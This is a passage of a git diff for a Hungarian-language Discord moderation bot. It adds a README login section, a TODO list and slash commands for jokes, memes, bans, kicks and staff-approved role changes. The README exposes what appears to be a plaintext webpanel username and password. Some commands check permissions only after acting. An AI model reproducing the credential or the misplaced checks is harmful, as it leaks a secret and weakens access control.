diff --git a/README.md b/README.md index 3fddebc..e212a9f 100644 --- a/README.md +++ b/README.md @@ -249,6 +249,21 @@ Add new event handlers in `/src/events/` following the Discord.js v14 event stru - Secure token management - Audit trail for all actions + +## 🔑 Webpanel Login + +The webpanel is protected by a username/password login system. To create a user, use the console command while the bot is running: + +```bash +webpaneluser +``` + +You can then log in at http://localhost:50249/login +webpaneluser Lacikika Lacko/0428 +## 📝 TODO + +See `TODO.md` for planned features and improvements. + ## 📚 Documentation Comprehensive documentation available in the `/documentation/` folder: diff --git a/TODO.md b/TODO.md new file mode 100644 index 0000000..3c5709e --- /dev/null +++ b/TODO.md @@ -0,0 +1,26 @@ +# TODO - Nyx Discord Bot + +## High Priority +- [✅] Add more advanced search filters to webpanel (by date, role, etc.) +- [ ] Add user and role management to webpanel +- [ ] Improve error handling and user feedback in webpanel +- [✅] Add rate limiting and brute-force protection to webpanel login +- [✅] Add multi-language support (i18n) +- [ ] Add tests for all major modules (commands, events, utils) + +## Medium Priority +- [ ] Add API endpoints for bot stats and data +- [✅] Add Discord OAuth2 login for webpanel (optional) +- [ ] Add notification system for webpanel (success/error popups) +- [ ] Add dark/light theme toggle +- [ ] Add more analytics and charts to statistics page + +## Low Priority +- [ ] Add command to export/import data +- [ ] Add Discord webhook integration for alerts +- [ ] Add more fun/utility commands +- [✅] Add more documentation examples + +--- + +**Contributions and suggestions are welcome!** diff --git a/commands/entertainment/8ball.js b/commands/entertainment/8ball.js new file mode 100644 index 0000000..d66884e --- /dev/null +++ b/commands/entertainment/8ball.js @@ -0,0 +1,44 @@ +// Entertainment: 8ball.js +const { SlashCommandBuilder, EmbedBuilder } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +const responses = [ + 'Yes.', 'No.', 'Maybe.', 'Ask again later.', 'Definitely!', 'I don\'t think so.', 'Absolutely!', 'Not sure.' +]; + +module.exports = { + data: new SlashCommandBuilder() + .setName('8ball') + .setDescription('Ask the magic 8ball a question') + .addStringOption(option => + option.setName('question').setDescription('Your question').setRequired(true)), + async execute(interaction) { + try { + const question = interaction.options.getString('question'); + const response = responses[Math.floor(Math.random() * responses.length)]; + const embed = new EmbedBuilder() + .setTitle('🎱 Varázsgömb') + .addFields( + { name: 'Kérdés', value: question }, + { name: 'Válasz', value: response } + ) + .setColor('Random') + .setThumbnail('https://cdn-icons-png.flaticon.com/512/616/616494.png') + .setFooter({ text: '⛏️ by Laci 🛠️' }) + .setTimestamp(); + // Log 8ball command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'ENTERTAINMENT', + reason: `8ball: ${question}`, + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: question, + date: Date.now() + }, interaction.user.username); + await interaction.reply({ embeds: [embed] }); + } catch (err) { + await interaction.reply({ content: 'There was an error executing this command. ' + (err.message || err), ephemeral: true }); + } + }, +}; diff --git a/commands/entertainment/joke.js b/commands/entertainment/joke.js new file mode 100644 index 0000000..d38099c --- /dev/null +++ b/commands/entertainment/joke.js @@ -0,0 +1,38 @@ +// Entertainment: joke.js +const { SlashCommandBuilder } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); +const { EmbedBuilder } = require('discord.js'); + +const jokes = [ + 'Why did the scarecrow win an award? Because he was outstanding in his field!', + 'Why don\'t skeletons fight each other? They don\'t have the guts.', + 'What do you call fake spaghetti? An impasta!' +]; + +module.exports = { + data: new SlashCommandBuilder() + .setName('joke') + .setDescription('Get a random joke'), + async execute(interaction) { + const joke = jokes[Math.floor(Math.random() * jokes.length)]; + // Log joke command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'ENTERTAINMENT', + reason: 'Joke command used', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: joke, + date: Date.now() + }, interaction.user.username); + + const embed = new EmbedBuilder() + .setTitle('📝 Vicc') + .setDescription(joke) + .setColor('Random') + .setThumbnail('https://cdn-icons-png.flaticon.com/512/616/616489.png') + .setFooter({ text: '⛏️ by Laci 🛠️' }) + .setTimestamp(); + await interaction.reply({ embeds: [embed] }); + }, +}; diff --git a/commands/entertainment/meme.js b/commands/entertainment/meme.js new file mode 100644 index 0000000..82791a0 --- /dev/null +++ b/commands/entertainment/meme.js @@ -0,0 +1,47 @@ +// Example entertainment command: meme.js +const { SlashCommandBuilder, EmbedBuilder } = require('discord.js'); +const https = require('https'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + + +module.exports = { + data: new SlashCommandBuilder() + .setName('meme') + .setDescription('Sends a random meme'), + async execute(interaction) { + // Fetch meme from API + https.get('https://meme-api.com/gimme', (res) => { + let data = ''; + res.on('data', chunk => data += chunk); + res.on('end', async () => { + try { + const meme = JSON.parse(data); + const memeUrl = meme.url || 'https://i.imgur.com/8b7evkP.jpeg'; + const embed = new EmbedBuilder() + .setTitle(meme.title || 'Véletlen mém') + .setImage(memeUrl) + .setURL(meme.postLink || memeUrl) + .setColor('Random') + .setFooter({ text: '⛏️ by Laci 🛠️' }) + .setTimestamp(); + await interaction.reply({ embeds: [embed] }); + + // Log meme command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'ENTERTAINMENT', + reason: 'Meme command used', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: meme.title || null, + date: Date.now() + }, interaction.user.username); + } catch (e) { + await interaction.reply({ content: 'Failed to fetch meme.', flags: 64 }); + } + }); + }).on('error', async () => { + await interaction.reply({ content: 'Failed to fetch meme.', flags: 64 }); + }); + }, +}; diff --git a/commands/moderation/ban.js b/commands/moderation/ban.js new file mode 100644 index 0000000..087dd5f --- /dev/null +++ b/commands/moderation/ban.js @@ -0,0 +1,70 @@ +// Ban command +const { SlashCommandBuilder, PermissionFlagsBits, EmbedBuilder } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('ban') + .setDescription('Ban a member from the server') + .addUserOption(option => + option.setName('target').setDescription('User to ban').setRequired(true)), + async execute(interaction) { + if (!interaction.member.permissions.has(PermissionFlagsBits.BanMembers) && !interaction.member.permissions.has(PermissionFlagsBits.Administrator)) { + const embed = new EmbedBuilder() + .setTitle('Nincs jogosultság') + .setDescription('Ehhez a parancshoz Ban Members vagy Admin jogosultság szükséges.') + .setColor('Red'); + return interaction.reply({ embeds: [embed], flags: 64 }); + } + const member = interaction.options.getMember('target'); + if (!member.bannable) { + const embed = new EmbedBuilder() + .setTitle('Kitiltás sikertelen') + .setDescription('Ezt a felhasználót nem tudom kitiltani.') + .setColor('Red'); + return interaction.reply({ embeds: [embed], flags: 64 }); + } + await member.ban(); + // Log ban to user log and update profile + const guildId = interaction.guild.id; + await appendUserLog('logs', member.id, guildId, { + event_type: 'BAN', + reason: 'Kitiltva parancs által', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: null, + date: Date.now() + }, member.user.username); + const profile = await readUser('profiles', member.id, guildId); + profile.total_bans = (profile.total_bans || 0) + 1; + profile.last_seen = Date.now(); + await writeUser('profiles', member.id, guildId, profile); + // Log to channel + const embed = new EmbedBuilder() + .setTitle('Felhasználó kitiltva') + .setDescription(`${member.user.tag} ki lett tiltva.`) + .setColor('Orange') + .setFooter({ text: '⛏️ by Laci 🛠️' }); + interaction.client.logToGuildChannel(guildId, embed); + await interaction.reply({ embeds: [embed] }); + + // Moderation help embed + const helpEmbed = new EmbedBuilder() + .setTitle('🛠️ Nyx Moderation Commands') + .setDescription('Manage your server with style!') + .setColor(0xED4245) + .setThumbnail('https://cdn-icons-png.flaticon.com/512/1828/1828843.png') + .addFields( + { name: '🔨 Ban', value: 'Ban a member from the server', inline: true }, + { name: '👢 Kick', value: 'Kick a member from the server', inline: true }, + { name: '🔇 Mute', value: 'Mute a member in the server', inline: true }, + { name: '⚠️ Warn', value: 'Warn a member', inline: true }, + { name: '🧹 Purge', value: 'Delete messages in bulk', inline: true }, + { name: '👥 KickRole', value: 'Kick all members with a specific role', inline: true } + ) + .setFooter({ text: 'Use moderation commands responsibly!' }) + .setTimestamp(); + await interaction.reply({ embeds: [helpEmbed], flags: 64 }); + }, +}; diff --git a/commands/moderation/deleterole.js b/commands/moderation/deleterole.js new file mode 100644 index 0000000..b80cb02 --- /dev/null +++ b/commands/moderation/deleterole.js @@ -0,0 +1,130 @@ +const { SlashCommandBuilder, PermissionFlagsBits, EmbedBuilder, ActionRowBuilder, ButtonBuilder, ButtonStyle } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); +const fs = require('fs'); +const path = require('path'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('deleterole') + .setDescription('Rang törlésének staff általi jóváhagyása') + .addUserOption(opt => opt.setName('user').setDescription('Felhasználó').setRequired(true)) + .addRoleOption(opt => opt.setName('role').setDescription('Törlendő rang').setRequired(true)) + .addStringOption(opt => opt.setName('reason').setDescription('Indok').setRequired(true)), + async execute(interaction) { + const user = interaction.options.getUser('user'); + const role = interaction.options.getRole('role'); + const reason = interaction.options.getString('reason'); + const guildId = interaction.guild.id; + const config = await readUser('guilds', guildId, guildId); + const requestRoles = config.requestRoles || []; + if (requestRoles.length > 0 && !interaction.member.roles.cache.some(r => requestRoles.includes(r.id))) { + return interaction.reply({ content: 'Nincs jogosultságod rang törlésének kérelmezéséhez. Csak a kijelölt rang kérelmező rangok tagjai kérhetnek rang törlést.', ephemeral: true }); + } + const staffRoles = config.staffRoles || (config.staffRole ? [config.staffRole] : []); + const deleteChannelId = config.deleteroleChannel; + const cooldownRoleId = config.roleCooldown; + if (!deleteChannelId || !staffRoles.length || !cooldownRoleId) { + return interaction.reply({ content: 'A deleterole channel, staff role vagy cooldown role nincs beállítva a szerver konfigurációban!', ephemeral: true }); + } + const deleteChannel = await interaction.guild.channels.fetch(deleteChannelId).catch(() => null); + if (!deleteChannel) return interaction.reply({ content: 'A deleterole channel nem található!', ephemeral: true }); + const embed = new EmbedBuilder() + .setTitle('🗑️ Rang törlés jóváhagyás') + .setDescription(`Felhasználó: <@${user.id}>\nTörlendő rang: <@&${role.id}>\nIndok: ${reason}`) + .addFields({ name: 'Kérelmezte', value: `<@${interaction.user.id}>`, inline: true }) + .setColor('Orange') + .setFooter({ text: '⛏️ by Laci 🛠️' }) + .setTimestamp(); + const row = new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId('deleterole_accept').setEmoji('✅').setStyle(ButtonStyle.Success), + new ButtonBuilder().setCustomId('deleterole_decline').setEmoji('❌').setStyle(ButtonStyle.Danger) + ); + const msg = await deleteChannel.send({ embeds: [embed], components: [row] }); + await interaction.reply({ content: 'A rang törlési kérelem elküldve a staff csatornába!', ephemeral: true }); + const filter = i => i.member.roles.cache.some(r => staffRoles.includes(r.id)) && ['deleterole_accept','deleterole_decline'].includes(i.customId); + const collector = msg.createMessageComponentCollector({ filter, max: 1, time: 5 * 60 * 1000 }); + collector.on('collect', async i => { + const reasonEmbed = new EmbedBuilder() + .setTitle(i.customId === 'deleterole_accept' ? '✅ Indok a rang törléséhez' : '❌ Indok az elutasításhoz') + .setDescription('Írd be az indokot erre a döntésre, csak te látod! (60mp)') + .setColor(i.customId === 'deleterole_accept' ? 'Green' : 'Red') + .setFooter({ text: `Staff: ${i.user.tag}` }) + .setTimestamp(); + await i.reply({ embeds: [reasonEmbed], ephemeral: true, fetchReply: true }); + const msgFilter = m => m.author.id === i.user.id && m.channelId === i.channel.id; + const collected = await i.channel.awaitMessages({ filter: msgFilter, max: 1, time: 60000 }); + if (collected.size > 0) { + const m = collected.first(); + try { await m.delete(); } catch {} + if (i.customId === 'deleterole_accept') { + // Remove role from user, delete role, add cooldown role + const targetMember = await interaction.guild.members.fetch(user.id); + const cooldownRole = await interaction.guild.roles.fetch(cooldownRoleId).catch(() => null); + if (targetMember.roles.cache.has(role.id)) await targetMember.roles.remove(role); + let cooldownDays = 3; + // Kérjünk be cooldown időt is (3-7 nap) + await i.followUp({ content: 'Írd be hány napig legyen cooldown (3-7, alapértelmezett: 3):', ephemeral: true }); + const cdFilter = m => m.author.id === i.user.id && m.channelId === i.channel.id && /^\d+$/.test(m.content.trim()); + const cdCollected = await i.channel.awaitMessages({ filter: cdFilter, max: 1, time: 30000 }); + if (cdCollected.size > 0) { + const cdMsg = cdCollected.first(); + try { await cdMsg.delete(); } catch {} + const val = parseInt(cdMsg.content.trim(), 10); + if (val >= 3 && val <= 7) cooldownDays = val; + } + if (cooldownRole) await targetMember.roles.add(cooldownRole); + // Mentsük az időt az adatbázisba (pl. profiles) + const profile = await readUser('profiles', user.id, guildId); + profile.role_cooldown = { + role: cooldownRoleId, + until: Date.now() + cooldownDays * 24 * 60 * 60 * 1000 + }; + await writeUser('profiles', user.id, guildId, profile); + // NEM töröljük a rangot a szerverről, csak levesszük a felhasználóról + await msg.delete().catch(() => {}); + const approveEmbed = new EmbedBuilder() + .setTitle('✅ Rang eltávolítva a felhasználóról') + .setDescription(`Felhasználó: <@${user.id}>\nEltávolított rang: <@&${role.id}>\nIndok: ${reason}`) + .addFields( + { name: 'Staff indok', value: `${m.content}\n**Staff:** <@${i.user.id}>` }, + { name: 'Kérelmezte', value: `<@${interaction.user.id}>`, inline: true }, + { name: 'Cooldown idő', value: `${cooldownDays} nap`, inline: true } + ) + .setColor('Green') + .setFooter({ text: `Elfogadta: ${i.user.tag}` }) + .setTimestamp(); + await deleteChannel.send({ embeds: [approveEmbed] }); + } else { + await msg.edit({ embeds: [embed.setColor('Red').setFooter({ text: `Elutasította: ${i.user.tag} | Indok: ${m.content}` })], components: [] }); + await msg.delete().catch(() => {}); + const declineEmbed = new EmbedBuilder() + .setTitle('❌ Rang törlés elutasítva') + .setDescription(`Felhasználó: <@${user.id}>\nTörlendő rang: <@&${role.id}>\nIndok: ${reason}`) + .addFields( + { name: 'Staff indok', value: `${m.content}\n**Staff:** <@${i.user.id}>` }, + { name: 'Kérelmezte', value: `<@${interaction.user.id}>`, inline: true } + ) + .setColor('Red') + .setFooter({ text: `Elutasította: ${i.user.tag}` }) + .setTimestamp(); + await deleteChannel.send({ embeds: [declineEmbed] }); + } + } else { + await i.followUp({ content: 'Nem érkezett indok, a rang nem került törlésre/elutasítva.', ephemeral: true }); + } + }); + // Jogosultság-ellenőrzés: csak staff vagy ManageRoles jogosultsággal + if (!interaction.member.permissions.has(PermissionFlagsBits.ManageRoles) && !interaction.member.permissions.has(PermissionFlagsBits.Administrator)) { + return interaction.reply({ content: 'Ehhez a parancshoz Manage Roles vagy Admin jogosultság szükséges!', ephemeral: true }); + } + // Naplózás minden rangkérelemről saját jsondb-vel + await appendUserLog('role_requests', interaction.user.id, guildId, { + type: 'deleterole', + staff: interaction.user.id, + target: user.id, + role: role.id, + reason, + date: Date.now() + }, interaction.user.username); + } +}; diff --git a/commands/moderation/giverole.js b/commands/moderation/giverole.js new file mode 100644 index 0000000..ea73663 --- /dev/null +++ b/commands/moderation/giverole.js @@ -0,0 +1,118 @@ +const { SlashCommandBuilder, PermissionFlagsBits, EmbedBuilder, ActionRowBuilder, ButtonBuilder, ButtonStyle } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); +const fs = require('fs'); +const path = require('path'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('giverole') + .setDescription('Rang jóváhagyás staff által') + .addUserOption(opt => opt.setName('user').setDescription('Felhasználó').setRequired(true)) + .addRoleOption(opt => opt.setName('role').setDescription('Rang').setRequired(true)) + .addStringOption(opt => opt.setName('reason').setDescription('Indok').setRequired(true)), + async execute(interaction) { + const user = interaction.options.getUser('user'); + const role = interaction.options.getRole('role'); + const reason = interaction.options.getString('reason'); + const guildId = interaction.guild.id; + const config = await readUser('guilds', guildId, guildId); + const requestRoles = config.requestRoles || []; + if (requestRoles.length > 0 && !interaction.member.roles.cache.some(r => requestRoles.includes(r.id))) { + return interaction.reply({ content: 'Nincs jogosultságod rang kérelmezéséhez. Csak a kijelölt rang kérelmező rangok tagjai kérhetnek rangot.', ephemeral: true }); + } + const staffRoles = config.staffRoles || (config.staffRole ? [config.staffRole] : []); + const logChannelId = config.rolesChannel || config.logChannel; + const cooldownRoleId = config.roleCooldown; + // NE lehessen give role-t kérni, ha rajta van a cooldown rang + if (interaction.commandName === 'giverole' && cooldownRoleId) { + const member = await interaction.guild.members.fetch(user.id); + if (member.roles.cache.has(cooldownRoleId)) { + return interaction.reply({ content: 'Ez a felhasználó cooldown-on van, amíg rajta van a cooldown rang, nem kérhet új rangot!', ephemeral: true }); + } + } + if (!logChannelId || !staffRoles.length) { + return interaction.reply({ content: 'A roles channel vagy staff role nincs beállítva a szerver konfigurációban!', ephemeral: true }); + } + const logChannel = await interaction.guild.channels.fetch(logChannelId).catch(() => null); + if (!logChannel) return interaction.reply({ content: 'A roles channel nem található!', ephemeral: true }); + const embed = new EmbedBuilder() + .setTitle('🏆 Rang jóváhagyás') + .setDescription(`Felhasználó: <@${user.id}>\nRang: <@&${role.id}>\nIndok: ${reason}`) + .addFields( + { name: 'Kérelmezte', value: `<@${interaction.user.id}>`, inline: true },) + .setColor('Yellow') + .setFooter({ text: `⛏️ by Laci🛠️` }) + .setTimestamp(); + const row = new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId('giverole_accept').setEmoji('✅').setStyle(ButtonStyle.Success), + new ButtonBuilder().setCustomId('giverole_decline').setEmoji('❌').setStyle(ButtonStyle.Danger) + ); + const msg = await logChannel.send({ embeds: [embed], components: [row] }); + await interaction.reply({ content: 'A rang jóváhagyási kérelem elküldve a staff csatornába!', ephemeral: true }); + const filter = i => i.member.roles.cache.some(r => staffRoles.includes(r.id)) && ['giverole_accept','giverole_decline'].includes(i.customId); + const collector = msg.createMessageComponentCollector({ filter, max: 1, time: 5 * 60 * 1000 }); + collector.on('collect', async i => { + // Kérjünk be indokot egy új embeddel a csatornában, csak a staff számára + const reasonEmbed = new EmbedBuilder() + .setTitle(i.customId === 'giverole_accept' ? '✅ Indok a rang kiosztásához' : '❌ Indok az elutasításhoz') + .setDescription(`Írd be az indokot erre a döntésre, csak te látod! (60mp)`) + .setColor(i.customId === 'giverole_accept' ? 'Green' : 'Red') + .setFooter({ text: `Staff: ${i.user.tag}` }) + .setTimestamp(); + const reasonMsg = await i.reply({ embeds: [reasonEmbed], ephemeral: true, fetchReply: true }); + // Várjuk a staff válaszát a csatornában (ephemeral, csak ő látja) + const msgFilter = m => m.author.id === i.user.id && m.channelId === i.channel.id; + const collected = await i.channel.awaitMessages({ filter: msgFilter, max: 1, time: 60000 }); + if (collected.size > 0) { + const m = collected.first(); + try { await m.delete(); } catch {} + if (i.customId === 'giverole_accept') { + const targetMember = await interaction.guild.members.fetch(user.id); + await targetMember.roles.add(role); + await msg.edit({ embeds: [embed.setColor('Green').setFooter({ text: `Elfogadta: ${i.user.tag} | Indok: ${m.content}` })], components: [] }); + await msg.delete().catch(() => {}); + const approveEmbed = new EmbedBuilder() + .setTitle('✅ Rang kiosztva') + .setDescription(`Felhasználó: <@${user.id}>\nRang: <@&${role.id}>\nIndok: ${reason}`) + .addFields( + { name: 'Staff indok', value: `${m.content}\n**Staff:** <@${i.user.id}>` }, + { name: 'Kérelmezte', value: `<@${interaction.user.id}>`, inline: true } + ) + .setColor('Green') + .setFooter({ text: `Elfogadta: ${i.user.tag}` }) + .setTimestamp(); + await logChannel.send({ embeds: [approveEmbed] }); + } else { + await msg.edit({ embeds: [embed.setColor('Red').setFooter({ text: `Elutasította: ${i.user.tag} | Indok: ${m.content}` })], components: [] }); + await msg.delete().catch(() => {}); + const declineEmbed = new EmbedBuilder() + .setTitle('❌ Rang elutasítva') + .setDescription(`Felhasználó: <@${user.id}>\nRang: <@&${role.id}>\nIndok: ${reason}`) + .addFields( + { name: 'Staff indok', value: `${m.content}\n**Staff:** <@${i.user.id}>` }, + { name: 'Kérelmezte', value: `<@${interaction.user.id}>`, inline: true } + ) + .setColor('Red') + .setFooter({ text: `Elutasította: ${i.user.tag}` }) + .setTimestamp(); + await logChannel.send({ embeds: [declineEmbed] }); + } + } else { + await i.followUp({ content: 'Nem érkezett indok, a rang nem került kiosztásra/elutasítva.', ephemeral: true }); + } + }); + // Jogosultság-ellenőrzés: csak staff vagy ManageRoles jogosultsággal + if (!interaction.member.permissions.has(PermissionFlagsBits.ManageRoles) && !interaction.member.permissions.has(PermissionFlagsBits.Administrator)) { + return interaction.reply({ content: 'Ehhez a parancshoz Manage Roles vagy Admin jogosultság szükséges!', ephemeral: true }); + } + // Naplózás minden rangkérelemről saját jsondb-vel + await appendUserLog('role_requests', interaction.user.id, guildId, { + type: 'giverole', + staff: interaction.user.id, + target: user.id, + role: role.id, + reason, + date: Date.now() + }, interaction.user.username); + } +}; diff --git a/commands/moderation/guildconfig.js b/commands/moderation/guildconfig.js new file mode 100644 index 0000000..d6da580 --- /dev/null +++ b/commands/moderation/guildconfig.js @@ -0,0 +1,93 @@ +const { SlashCommandBuilder, PermissionFlagsBits, EmbedBuilder } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('guildconfig') + .setDescription('Configure guild settings') + .addChannelOption(opt => + opt.setName('logchannel').setDescription('Set log channel').setRequired(false)) + .addChannelOption(opt => + opt.setName('roleschannel').setDescription('Set roles approval channel').setRequired(false)) + .addChannelOption(opt => + opt.setName('deleterolechannel').setDescription('Rang törlő csatorna').setRequired(false)) + .addRoleOption(opt => + opt.setName('staffrole').setDescription('Add a staff role for moderation').setRequired(false)) + .addStringOption(opt => + opt.setName('addstaffrole').setDescription('További staff szerep ID-k (vesszővel elválasztva)').setRequired(false)) + .addRoleOption(opt => + opt.setName('requestrole').setDescription('Rang kérelmező rang hozzáadása').setRequired(false)) + .addStringOption(opt => + opt.setName('addrequestrole').setDescription('További kérelmező rang ID-k (vesszővel elválasztva)').setRequired(false)) + .addRoleOption(opt => + opt.setName('rolecooldown').setDescription('Cooldown rang (ideiglenes tiltás)').setRequired(false)) + .addRoleOption(opt => + opt.setName('viprole').setDescription('VIP rang').setRequired(false)), + async execute(interaction) { + try { + if (!interaction.member.permissions.has(PermissionFlagsBits.Administrator)) { + return interaction.reply({ content: 'Ehhez a parancshoz adminisztrátori jogosultság szükséges.', ephemeral: true }); + } + const guildId = interaction.guild.id; + const config = await readUser('guilds', guildId, guildId); + const logChannel = interaction.options.getChannel('logchannel'); + const rolesChannel = interaction.options.getChannel('roleschannel'); + const deleteroleChannel = interaction.options.getChannel('deleterolechannel'); + const vipRole = interaction.options.getRole('viprole'); + const staffRole = interaction.options.getRole('staffrole'); + const addStaffRole = interaction.options.getString('addstaffrole'); + const roleCooldown = interaction.options.getRole('rolecooldown'); + const requestRole = interaction.options.getRole('requestrole'); + const addRequestRole = interaction.options.getString('addrequestrole'); + if (logChannel) config.logChannel = logChannel.id; + if (rolesChannel) config.rolesChannel = rolesChannel.id; + if (deleteroleChannel) config.deleteroleChannel = deleteroleChannel.id; + if (vipRole) config.vipRole = vipRole.id; + if (roleCooldown) config.roleCooldown = roleCooldown.id; + // Multi-staff role support + if (!config.staffRoles) config.staffRoles = []; + if (staffRole && !config.staffRoles.includes(staffRole.id)) config.staffRoles.push(staffRole.id); + if (addStaffRole) { + const ids = addStaffRole.split(',').map(s => s.trim()).filter(Boolean); + for (const id of ids) if (!config.staffRoles.includes(id)) config.staffRoles.push(id); + } + // Requester roles support + if (!config.requestRoles) config.requestRoles = []; + if (requestRole && !config.requestRoles.includes(requestRole.id)) config.requestRoles.push(requestRole.id); + if (addRequestRole) { + const ids = addRequestRole.split(',').map(s => s.trim()).filter(Boolean); + for (const id of ids) if (!config.requestRoles.includes(id)) config.requestRoles.push(id); + } + await writeUser('guilds', guildId, guildId, config); + // Log guildconfig command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'GUILDCONFIG', + reason: 'Updated guild config', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: null, + date: Date.now() + }, interaction.user.username); + const embed = new EmbedBuilder() + .setTitle('🛠️ Szerver konfiguráció frissítve') + .setDescription('A szerver beállításai frissítve lettek.') + .addFields( + { name: 'Napló csatorna', value: logChannel ? `<#${logChannel.id}>` : (config.logChannel ? `<#${config.logChannel}>` : 'Nincs beállítva'), inline: true }, + { name: 'Rang jóváhagyó csatorna', value: rolesChannel ? `<#${rolesChannel.id}>` : (config.rolesChannel ? `<#${config.rolesChannel}>` : 'Nincs beállítva'), inline: true }, + { name: 'Rang törlő csatorna', value: deleteroleChannel ? `<#${deleteroleChannel.id}>` : (config.deleteroleChannel ? `<#${config.deleteroleChannel}>` : 'Nincs beállítva'), inline: true }, + { name: 'VIP rang', value: vipRole ? `<@&${vipRole.id}>` : (config.vipRole ? `<@&${config.vipRole}>` : 'Nincs beállítva'), inline: true }, + { name: 'Staff rang', value: staffRole ? `<@&${staffRole.id}>` : (config.staffRole ? `<@&${config.staffRole}>` : 'Nincs beállítva'), inline: true }, + { name: 'Cooldown rang', value: roleCooldown ? `<@&${roleCooldown.id}>` : (config.roleCooldown ? `<@&${config.roleCooldown}>` : 'Nincs beállítva'), inline: true } + ) + .setColor('Aqua') + .setThumbnail(interaction.guild.iconURL()) + .setFooter({ text: 'Állítsd be a szervert a legjobb élményhez!' }) + .setTimestamp(); + await interaction.reply({ embeds: [embed], ephemeral: true }); + } catch (error) { + console.error('Error in guildconfig command:', error); + await interaction.reply({ content: 'Hiba történt a parancs végrehajtása során.', ephemeral: true }); + } + }, +}; diff --git a/commands/moderation/kick.js b/commands/moderation/kick.js new file mode 100644 index 0000000..6d72bb8 --- /dev/null +++ b/commands/moderation/kick.js @@ -0,0 +1,52 @@ +// Example moderation command: kick.js +const { SlashCommandBuilder, PermissionFlagsBits, EmbedBuilder } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('kick') + .setDescription('Kick a member from the server') + .addUserOption(option => + option.setName('target').setDescription('User to kick').setRequired(true)), + async execute(interaction) { + if (!interaction.member.permissions.has(PermissionFlagsBits.KickMembers) && !interaction.member.permissions.has(PermissionFlagsBits.Administrator)) { + const embed = new EmbedBuilder() + .setTitle('Nincs jogosultság') + .setDescription('Ehhez a parancshoz Kick Members vagy Admin jogosultság szükséges.') + .setColor('Red'); + return interaction.reply({ embeds: [embed], flags: 64 }); + } + const member = interaction.options.getMember('target'); + if (!member.kickable) { + const embed = new EmbedBuilder() + .setTitle('Kirúgás sikertelen') + .setDescription('Ezt a felhasználót nem tudom kirúgni.') + .setColor('Red'); + return interaction.reply({ embeds: [embed], flags: 64 }); + } + await member.kick(); + // Log kick to user log and update profile + const guildId = interaction.guild.id; + await appendUserLog('logs', member.id, guildId, { + event_type: 'KICK', + reason: 'Kirúgva parancs által', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: null, + date: Date.now() + }, member.user.username); + const profile = await readUser('profiles', member.id, guildId); + profile.total_kicks = (profile.total_kicks || 0) + 1; + profile.last_seen = Date.now(); + await writeUser('profiles', member.id, guildId, profile); + // Log to channel + const embed = new EmbedBuilder() + .setTitle('Felhasználó kirúgva') + .setDescription(`${member.user.tag} ki lett rúgva.`) + .setColor('Orange') + .setFooter({ text: '⛏️ by Laci 🛠️' }); + interaction.client.logToGuildChannel(guildId, embed); + await interaction.reply({ embeds: [embed] }); + }, +}; diff --git a/commands/moderation/kickrole.js b/commands/moderation/kickrole.js new file mode 100644 index 0000000..5f4cfad --- /dev/null +++ b/commands/moderation/kickrole.js @@ -0,0 +1,37 @@ +const { SlashCommandBuilder, PermissionFlagsBits, EmbedBuilder } = require('discord.js'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('kickrole') + .setDescription('Kick all members with a specific role') + .addRoleOption(option => + option.setName('role').setDescription('Role to kick').setRequired(true)), + async execute(interaction) { + if (!interaction.member.permissions.has(PermissionFlagsBits.KickMembers) && !interaction.member.permissions.has(PermissionFlagsBits.Administrator)) { + return interaction.reply({ content: 'Ehhez a parancshoz Kick Members vagy Admin jogosultság szükséges.', ephemeral: true }); + } + const role = interaction.options.getRole('role'); + if (!role) return interaction.reply({ content: 'Role not found.', ephemeral: true }); + const members = role.members.filter(m => !m.user.bot && m.kickable); + if (!members.size) return interaction.reply({ content: 'No kickable members found with that role.', ephemeral: true }); + let kicked = 0, failed = 0; + for (const member of members.values()) { + try { + await member.kick('Kicked by /kickrole command'); + kicked++; + } catch { + failed++; + } + } + const embed = new EmbedBuilder() + .setTitle('Szerephez tartozók kirúgása') + .setDescription('A kiválasztott szereppel rendelkező tagok kirúgva.') + .addFields( + { name: 'Kirúgva', value: String(kicked), inline: true }, + { name: 'Sikertelen', value: String(failed), inline: true } + ) + .setColor('Orange') + .setFooter({ text: '⛏️ by Laci 🛠️' }); + await interaction.reply({ embeds: [embed] }); + }, +}; diff --git a/commands/moderation/lookupguild.js b/commands/moderation/lookupguild.js new file mode 100644 index 0000000..8402302 --- /dev/null +++ b/commands/moderation/lookupguild.js @@ -0,0 +1,59 @@ +// Utility: lookupguild.js +const { SlashCommandBuilder, EmbedBuilder, ActionRowBuilder, ButtonBuilder, ButtonStyle } = require('discord.js'); +const { readGuildLogs } = require('../../../utils/jsondb.js'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('lookupguild') + .setDescription('🏴‍☠️ Szerver információk lekérdezése'), + async execute(interaction) { + const guildId = interaction.guild.id; + const logs = await readGuildLogs(guildId); + if 